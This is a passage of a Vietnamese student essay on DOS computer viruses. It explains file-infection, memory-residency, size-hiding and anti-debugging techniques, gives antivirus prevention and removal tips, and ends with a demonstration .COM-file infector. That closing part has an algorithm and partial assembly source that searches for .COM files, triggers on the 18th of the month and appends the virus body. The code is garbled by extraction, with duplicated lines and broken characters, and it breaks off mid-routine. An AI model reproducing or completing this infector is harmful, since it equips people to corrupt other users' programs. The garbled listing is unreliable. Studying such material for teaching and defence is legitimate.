khó khăn cho những người khôi phục vì phả đọc toàn bộ file vào vùng nhớ rồi mới tiến
hành ghi lại.

b/Thêm vào cuối file:
Khác với cách lây lan ở trên, trong phương pháp này, đoạn mã của virus sẽ
được gắn vào sau của chương trình đối tượng. Phương pháp này được thấy trên hầu hết
các loại virus vì phạm vi lây lan của nó rộng rãi hơn phương pháp trên.
Do thân của virus không nằm đúng đầu vào của chương trình, cho nên để chiếm
quyền điều khiển, phải thực hiện kỹ thuật sau đây;
-Đối với file .COM: Thay các byte đầu tiên của chương trình (đầu vào) bằng một lệnh
nhảy JMP, chuyển điều khiển đến đoạn mã của virus.
E9 xx xx JMP entry virus.
16
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
Ngoài 2 kỹ thuật lây lan chủ yếu trên, có một số Ýt các virus sử dụng một số kỹ
thuật đặc biệt khác như mã hoá phần mã của chương trình virus trước khi ghép chúng
vào file để nguỵ trang, hoặc thậm chí thay thế một số đoạn mã ngắn trong file đối
tượng bằng các đoạn mã của virus , gây khó khăn cho quá trình khôi phục.
Khi tiến hành lây lan trên file, đối với các file được đặt thuộc tính Sys (hệ
thống), read Only (chỉ đọc), Hidden(ẩn), phải tiến hành đổi lại các thuộc tính đó để có
thể truy nhập, ngoài ra việc truy nhập cũng thay đổi lại ngày giê cập nhật của file, vì
thế hầu hết các virus đều lưu lại thuộc tính và ngày giê cập nhật ban đầu của nó.
Ngoài ra việc cố gắng ghi lên đĩa mềm có dán nhãn bảo vệ cũng tạo ra dòng
thông báo lỗi của DOS: Retry-Aboart-Ignore, nếu không xử lý tốt thì dễ bị người sử
dụng phát hiện ra sự có mặt của virus. Lỗi kiểu này được DOS kiểm soát bằng ngắt
24h, cho nên các virus muốn tránh các thông báo kiểu này của DOS khi tiến hành lây
lan phải thay ngắt 24h của DOS trước khi tiến hành lây lan rồi sau đó hoàn trả.
2/Kỹ thuật bảo đảm tính tồn tại duy nhất
Cũng giống nh B-virus, một yêu cầu nghiêm nghặt đối với F-virus là tính tồn
tại duy nhất của mình trong bộ nhớ còng nh trên file.
Trong vùng nhớ, thông thường các F-virus sử dụng 2 kỹ thuật chính:thứ nhất là
tạo thêm chức năng cho DOS, bằng cách sử dụng một chức năng con nào đó đặt chức
năng lớn hơn chức năng cao nhất mà DOS có. Để kiểm tra chỉ cần gọi chức năng này,

giá trị trả lại trong thanh ghi quyết định sự tồn tại của virus trong bộ nhớ hay chưa.
Cách thứ hai là so sánh một đoạn mã trong vùng nhớ Ên định với đoạn mã của virus,
nếu có sự chênh lệch thì có nghĩa làvirus chưa có mặt trong vùng nhớ và sẽ tiến hành
lây lan.
Trên file, có thể có các cách kiểm tra như kiểm tra bằng test logic nào đó với
các thông tin của entry trong thư mục của file này. Cách này không đảm bảo tính chính
xác tuyệt đối song nếu thiết kế tốt thì khả năng trùng lặp cũng hạn chế, hầu như không
có, ngoài ra một ưu điểm là tốc độ thực hiện kiểm tra rất nhanh. Ngoài ra có thể kiểm
17
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
tra bằng cách dò một đoạn mã đặc trưng (key value) của virus tại vị trí Ên định nào đó
trên file, ví dụ trên các file cuối cùng của file.
3/Kỹ thuật thường trú
Đây là một kỹ thuật khó khăn, lý do là DOS chỉ cung cấp chức năng thường trú
cho chương trình, nghĩa là chỉ cho phép cả chương trình thường trú. Vì vậy nếu sử
dụng chức năng của DOS, chương trình virus muốn thường trú thì cả file đối tượng
cũng phải thường trú,mà điều này thì không thể được nếu kích thước của file đối tượng
quá lớn.
Chính vì lý do trên, hầu hết các chương trình virus muốn thường trú đều phải
thao tác qua mặt DOS trên chuỗi MCB bằng phương pháp “thủ công”. Căn cứ vào việc
thường trú được thực hiện trước hay sau khi chương trình đối tượng thi hành, có thể
chia kỹ thuật thường trú thành 2 nhóm:
a/Thường trú trước khi trả quyền điều khiển:
Như đã nói ở trên, DOS không cung cấp một chức năng nào cho kiểu thường
trú này, cho nên chương trình virus phải tự sắp xếp. Các cách sau đây đã được virus
dùng đến:
-Thao tác trên MCB để tách một khối vùng nhớ ra khỏi quyền điều khiển của DOS, rồi
dùng vùng này để chứa chương trình virus.
-Tự định vị vị trí trong bộ nhớ để tải phần thường trú của virus vào, thường thì các
virus chọn ở vùng nhớ cao, phía dưới phần tạm trú của file command.com để tránh bị

ghi đè khi hệ thống tỉa lại command.com.Vì không cấp phát bộ nhớ cho phần chương
trình virus đang thường trú, cho nên command.comhàon toàn có quyền cấp phát vùng
nhớ đó cho các chương trình khác, nghĩa là chương trình thường trú của virus phải
chấp nhận sự mất mát do may rủi.
-Thưòng trú bằng chức năng thường trú 31h: Đây là một kỹ thuật phức tạp, tiến trình
cần thực hiện được mô tả như sau:
Khi chương trình virus được trao quyền, nó sẽ tạo ra mét MCB được khai báo là phần
tử trung gian trong chuỗi MCB để chứa chương trình virus, sau đó lại tạo tiếp một
18
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
MCB mới để cho chương trình bị nhiễm bằng cách dời chương trình xuống vùng mới
này. Để thay đổi PSP mà DOS đang lưu trữ thành PSP mà chương trình virus tạo ra
cho chương trình đối tượng, phải sử dụng chức năng 50h của ngắt 21h.
b/Thường trú sau khi đoạt lại quyền điều khiển:
Chương trình virus lấy tên chương trình đang thi hành trong môi trường của
DOS, rồi nó thi hành ngay chính bản thân mình. Sau khi thi hành xong , quyền điều
khiển lại được trả về cho virus, và khi đó nó mới tiến hành thường trú một cách bình
thường bằng chưc năng 31h của ngắt 21h.
4/Kỹ thuật ngụy trang và gây nhiễu
Một nhược điểm không tránh khỏi là file đối tượng bị lây nhiễm virus sẽ bị tăng
kích thước. Một số virus ngụy trang bằng cách khi sử dụng chức năng DIR của DOS,
virus chi phối chức năng tìm kiếm file (chức năng 11h và 12h của ngắt 21h) để giảm
kích thước của file bị lây nhiễm xuống, vì thế khi virus đang chi phối máy tính, nếu sử
dụng lệnh DIR của DOS hoặc các lệnh sử dụngchức năng tìm kiếm file ở trên để có
thông tin về entry trong bảng thư mục, thì thấy kích thước file bị lây nhiễm vẫn bằng
kích thước của file ban đầu, điều này đánh lừa người sử dụng về sự trong sạch của file
này.
Một sè virus còn gây nhiễu bằng cách mã hoá phần lớn chương trình virus, chỉ
khi nào vào vùng nhớ, chương trình mới được giải mã ngược lại. Một số virus anti-
debug bằng cách chiếm ngắt 1 và ngắt 3. Bởi vì các chương trình debug tực chất phải

dùng ngắt 1 và ngắt 3 để thi hành từng bước một, cho nên khi virus chiếm các ngắt này
rồi mà người lập trình dùng debug để theo dõi virus thì kết quả không lường trước
được.
5/Kỹ thuật phá hoại
Thông thường, các F-virus cũng sử dụng cách thức và kỹ thuật phá hoại giống
nh B-virus. Có thể phá hoại một cách định thời, liên tục hoặc ngẫu nhiên. Đối tượng
phá hoại có thể là màn hình, loa, đĩa,…
19
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
CHƯƠNG II
CÁCH PHÒNG CHỐNG VÀ CHỮA TRỊ
I/ Làm cách nào để ngăn chặn sự xâm nhập của virus
Virus tin học tuy ranh ma và bí hiểm, nhưng chúng vẫn có thể bị ngăn chặn và
loại trừ một cách dễ dàng. Sau đây là một số biện pháp:
+Anti-virus:Là chương trình phát hiện và diệt virus. Nếu nghi ngờ máy tính của mình
bị virus, bạn có thể dùng các chương trình này quétsơ qua ổ đĩa của máy xem có “chú”
virus nào rình rập trong máy tính của mình không.Thông thường các Anti-virus sẽ tự
động diệt virus nếu chúng được chương trình phát hiện.Với một số chương trình chỉ
phát hiện mà không diệt được, bạn phải để ý đọc các thông báo của nó.
Để sử dụng Anti-virus hiệu quả, nên trang bị thêm một vài chương trình để sử
dụng kèm,cái này bổ khuyết cho cái kia thì hiệu quả sẽ tốt hơn. Một điều cần lưu ý là
nên chạy anti-virus trong tình trạng bộ nhớ tốt(khởi động máy từ đĩa mềm sạch) thì
việc quét virus mới hiệu quả và an toàn, không gây lan tràn virus trên đĩa cứng.
Các anti-virus đang được sử dụng phổ biến là SCAN của Mcafee, Norton Anti-
virus của Symantec, Toolkit,Dr.Solomon…Các anti-virus này có ưu đIểm là số lượng
20
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
virus được cập nhật rất lớn, tìm-diệt hiệu quả, có đầy đủ các công cụ hỗ trợ tận tình
Nhược đIểm của chúng là cồng kềnh, đặc biệt chúng không nhận biết được các virus
“made in Viet Nam”. Để diệt các loại virus này thì phải dùng đến các anti-virus nh D2

hay BKAV. Ưu điểm của các anti-virus trong nước là chạy rất nhanh do chúng nhỏ
gọn, và rất nhạy cảm với các virus trong nước. Nhược điểm của chúng là khả năng
nhận biết các virus ngoại kém và Ýt được trang bị công cụ hỗ trợ và chế độ giao tiếp
với các user chưa được kĩ lưỡng.
Tuy nhiên cũng không nên quá tin tưởng vào các anti-virus vì các anti-virus chỉ
tìm-diệt các virus mà nó đã cập nhật. Đây chính là nhược đIểm lớn nhất của các anti-
virus.Xu hướng của các anti-virus hiện nay là cố gắng nhận dạng virus mà không cần
cập nhật.
+Đề phòng B-virus: Hãy nhớ rằng đừng bao giê khởi động máy từ đĩa mềm nêu có đĩa
cứng, ngoại trừ những trường hợp tối cần thiết nh khi đĩa cứng bị trục trặc. Nếu buộc
phải khởi động bằng đĩa mềm thì phải chắc chắn rằng đĩa mềm này hoàn toàn sạch.Đôi
khi việc khởi động từ đĩa mềm xảy ra một cách ngẫu nhiên do bạn để quên đĩa mềm
trong ổ A ở phiên làm việc trước. Nếu như trong Boot record của đĩa mềm này có B-
virus và nếu như ở phiên làm việc sau bạn quên không rút đĩa ra khỏi ổ thì B-virus sẽ
vào đĩa cứng của bạn ngay sau khi ban khởi động máy. Tuy nhiên, chỉ cần chạy D2
thường xuyên, chương trình sẽ phân tích Boot record của các đĩa mềm và sẽ dự báo sự
có mặt của chúng dưới tên gọi PROBABLE B-virus, bạn chỉ cần nhấn ‘Y’ để D2 diệt
chúng.
+Đề phòng F-virus: Nguyên tắc chung là không chạy các chương trình không rõ nguồn
gốc. Hầu hết các chương trình hợp pháp được phát hành từ nhà sản xuất đều được đảm
bảo. Vì vậy, khả năng tiềm tàng F-virus trong file .COM, .EXE chỉ còn ở các chương
trình trôi nổi ( truyền tay, lấy từ mạng,…).
+Đề phòng Macro-virus:Các virus này lây trên văn bản và bảng tính của Microsoft.
Virusì vậy cần phải kiểm tra các file DOC hay XL trước khi mở chúng ra.
II/ Cách gỡ virus
21
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
Nếu là F/B-virus thì hãy khởi động từ đĩa mềm hệ thống sạch ( còn virus Macro
thì không cần). Sau đó chạy anti-virus từ đĩa sạch. Cần kiểm tra tất cả các đĩa mềm của
bạn,vì nếu còn sót thì chúng sẽ lây đi lây lại.

Nếu New B-virus nằm trên Boot record đĩa mềm, dùng D2-Plus để diệt.Trường
hợp New B-virus lây vào đĩa cứng, khởi động máy bằng đĩa mềm, chạy D2-Plus, chọn
Config/Mend Boot=On, chọn Drive.
Nếu có New F-virus thường trú, thì các anti-virus sẽ thông báo” new F-virus
found in memory” . Bạn hãy ngưng ngay các ứng dụng và tìm cách chép các file bị lây
nhiễm gửi đến các địa chỉ anti-virus tin cậy để nhờ can thiệp.
III/ Cách chép file đã bị nhiễm virus
+ với New Macro virus: chỉ cần chép nguyên si file DOC, XL cho các nhà phát triển
anti-virus
+với New B-virus: gửi mail đến anti-virus nếu virus nằm trên Boot record đĩa mềm.
Nếu nó đã vào bộ nhớ, chỉ cần đọc đĩa(bằng lệnh DIR A: chẳng hạn) rồi gửi đĩa đi.
+ với New F-virus:thông thường khi F-virus lây vào file thì kích thước của tập tin
COM, EXE sẽ tăng lên. Nh vậy việc tăng kích thước chính là dấu hiệu cho biết sự có
mặt của F-virus trên file. Bạn chỉ cần chép các file này gửi đi. Tuy nhiên một số F-
virus lại che dấu kích thước vật lý thực của file khi virus đang thường trú. Vì vậy bạn
cần khởi động máy tính bằng đĩa mềm sạch mới có thể đối chiếu kích thước file hiện
tại với kích thước cũ được. Nh vậy bạn cần phải nhớ kích thước thực của file thực thi.
Để đơn giản bạn hãy chạy thử các phần mềm thông dông nh
NCMAIN.EXE,DOSKEY.COM trong môi trường nhiễm New F-virus, rồi gửi các file
này.
IV/ Kết luận
Hiện nay, mỗi ngày trên thế giới lại xuất hiện hàng loạt các loại virus mới.
Chúng lan rất nhanh và sẽ phá hoại dữ liệu khi chúng vào. Vì vậy chúng ta nên phòng
hơn là chống.
22
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
Do thời gian thực hiện đề tài ngắn nên chúng tôi chỉ có thể nêu lên cái nhìn
tổng quát nhất về virus máy tính cũng như nguyên lý hoạt động của chúng. Vì vậy,
chúng tôI rất mong được sự góp ý của thầy cô và các bạn.
CHƯƠNG III

CHƯƠNG TRÌNH MINH HỌA
Phần này sẽ giới thiệu một chương trình minh họa về loại virus làm tăng độ dài tệp vào
một ngày cố định
I/Giải thuật
Virus làm tăng độ dài bộ nhí các file dạng .COM vào một ngày cố định tức là tăng độ
dài của các tệp có đuôi .COM vào 1 ngày trong tháng được xác lập. Nếu đúng vào ngày
virus có tác dụng thì các file có đuôi .COM sẽ bị nở ra với một lượng byte được thêm
vào ở cuối file và làm cho các file có đuôi .COM không thực hiện được.
1/Kiểm tra xem có phải ngày virus có tác dụng không?
a/ Nếu đúng
- Tạo vùng nhớ DTA 32bytes để cất các thông tin về file
- Tìm file có đuôi .COM xem đã hết tệp chưa?
* Nếu chưa:
- Thông tin về file được cất ở trong DTA trong đó 13 bytes cuối chứa tên tệp
->mở tệp.
23
Tiểu luận trí tuệ nhân tạo Tìm Hiểu Virus Máy Tính
- Cất 3 bytes đầu mã máy của tệp .COM
. Khi chưa bị virus (Mã máy của lệnh jmp và bước nhảy khi chưa bị virus).
. Hoặc đã bị virus ( mã máy của lệnh jmp và độ dài của file trừ 3 vào biến
TEMP của vùng nhớ 32 bytes).
- Tính độ dài của file .COM khi chưa bị virus hoặc đã bị virus rồi sau đó trừ 3
( 3 bytes đầu gồm lệnh jmp và bước nhảy) cất vào biến jmp-V của vùng nhớ
32 bytes ( vùng nhớ này sẽ được thêm vào file .COM nếu file chưa hề bị
virus.
- Hái file .COM đã nhiễm virus chưa?
. Nếu chưa thì ghi thêm vào file một số lượng byte từ virus-start đến virus-
end. Sau đó hiện dòng gồn tên tệp và was inflected by Virus ANO1.
. Nếu đã bị nhiễm:
Thì đóng tệp.

Xoá vùng đệm DTA.
Quay trở lại tìm tệp *.COM tiếp theo.
• Nếu hết: Xác lập lại vùng nhớ DTA mặc định
b/ Nếu không:
Xác lập mã máy int 20h tại CS:100h
- Kết thúc giải thuật
II/Chương trình tạo Virus File
Code segment
Assumecs:code,ds:code cs:code,ds:code
ORG100h 100h
Program_start:jmpvirus-start jmp virus-start
Mdb13,10,’Hello Virus$’ db 13,10,’Hello Virus$’
F_typedb‘*.COM’,0 db ‘*.COM’,0
Tempdb0cdh,20h,0 db 0cdh,20h,0
24
Tiu lun trớ tu nhõn to Tỡm Hiu Virus Mỏy Tớnh
Jmp_Vdb0e9h,0,0 db 0e9h,0,0
TBdb13,10,inflected byte virus ANO1,$ db 13,10,inflected
byte virus ANO1,$
DTAdb43dup(?) db 43 dup(?)
Virus_start:
db0e9h,0,0;xỏc lp 3 bytes u 0e9h,0,0 ;xác
lập 3 bytes đầu
xorBP,BP;a ch CS:100h BP,BP ;địa chỉ
CS:100h
leadx,[BP+offset M] dx,[BP+offset M]
movah,9 ah,9
int21h 21h
movah,1 ah,1
int21h 21h

callget_addres get_addres
get_addres:
popsi si
xorBP,BP BP,BP
restore_3B_to_F:
movcx,3;a 3 bytes ca bin temp vo u cx,3
;đa 3 bytes của biến temp vào đầu
leasi,[BP+offset temp];chng trỡnh cú offset 100h si,[BP+offset temp]
;chơng trình có offset 100h
movdi,100h di,100h
repmovSB movSB
set_DTA:
leadx,[BP+offset DTA];to lp vựng DTA gm 43 bytes dx,
[BP+offset DTA] ;tạo lập vùng DTA gồm 43 bytes
movah,1ah ah,1ah
int21h 21h
find_first_F:
movah,4eh;DOS s tỡm file u tiờn trờn av ah,4eh
;DOS sẽ tìm file đầu tiên trên đĩavà
leadx,[BP+F_type];th mc c ch v trong ds:dxmovcx,7 ; cú
thuc tớnh cx dx,[BP+F_type] ;th mục đợc chỉ và trong ds:dx
mov cx,7 ; có thuộc tính ở cx
25
Tiu lun trớ tu nhõn to Tỡm Hiu Virus Mỏy Tớnh
;v t thụng tin v file vo DTA
check_file:
int21h;kim tra xem nu khụng tỡm 21h
;kiểm tra xem nếu không tìm
jncget_date ;thy file no thỡ thoỏt get_date
;thấy file nào thì thoát

jmpvirus_exit virus_exit
get_date:
movah,2ah;chc nng ly ngy thỏn nm ca ah,2ah
;chức năng lấy ngày thán năm của
int21h; mỏy DL cha ngy 21h ; máy DL
chứa ngày
cmpdl,18;cú phi ngy virus cú tỏc dụng dl,18
;có phải ngày virus có tác dụng
jeopen_file;khụng? ỳng thỡ m fileopen_file
;không? Đúng thì mở file
jmpvirus_exit virus_exit
open_file:;m ghi/c ;mở để ghi/đọc
moval,2 al,2
leadx,[BP+offset DTA+1eh] dx,[BP+offset DTA+1eh]
movah,3dh ah,3dh
int21h 21h
movbx,ax;bx cha th tp bx,ax ;bx chứa thẻ
tệp
get_3B_from_F:
leadx,[BP+offset temp];c 3 bytes u ca tp cú
uụimovcx,3 ;.COM a vo bin temp dx,[BP+offset temp] ;đọc
3 bytes đầu của tệp có đuôi mov cx,3 ;.COM đa
vào biến temp
movah,3fh ah,3fh
go_end_1:
moval,2;a con tr v cui tp al,2 ;đa
con trỏ về cuối tệp
xorcx,cx cx,cx
xordx,dx dx,dx
movah,42h;ax cha di tp ah,42h ;ax

chứa độ dài tệp
26

×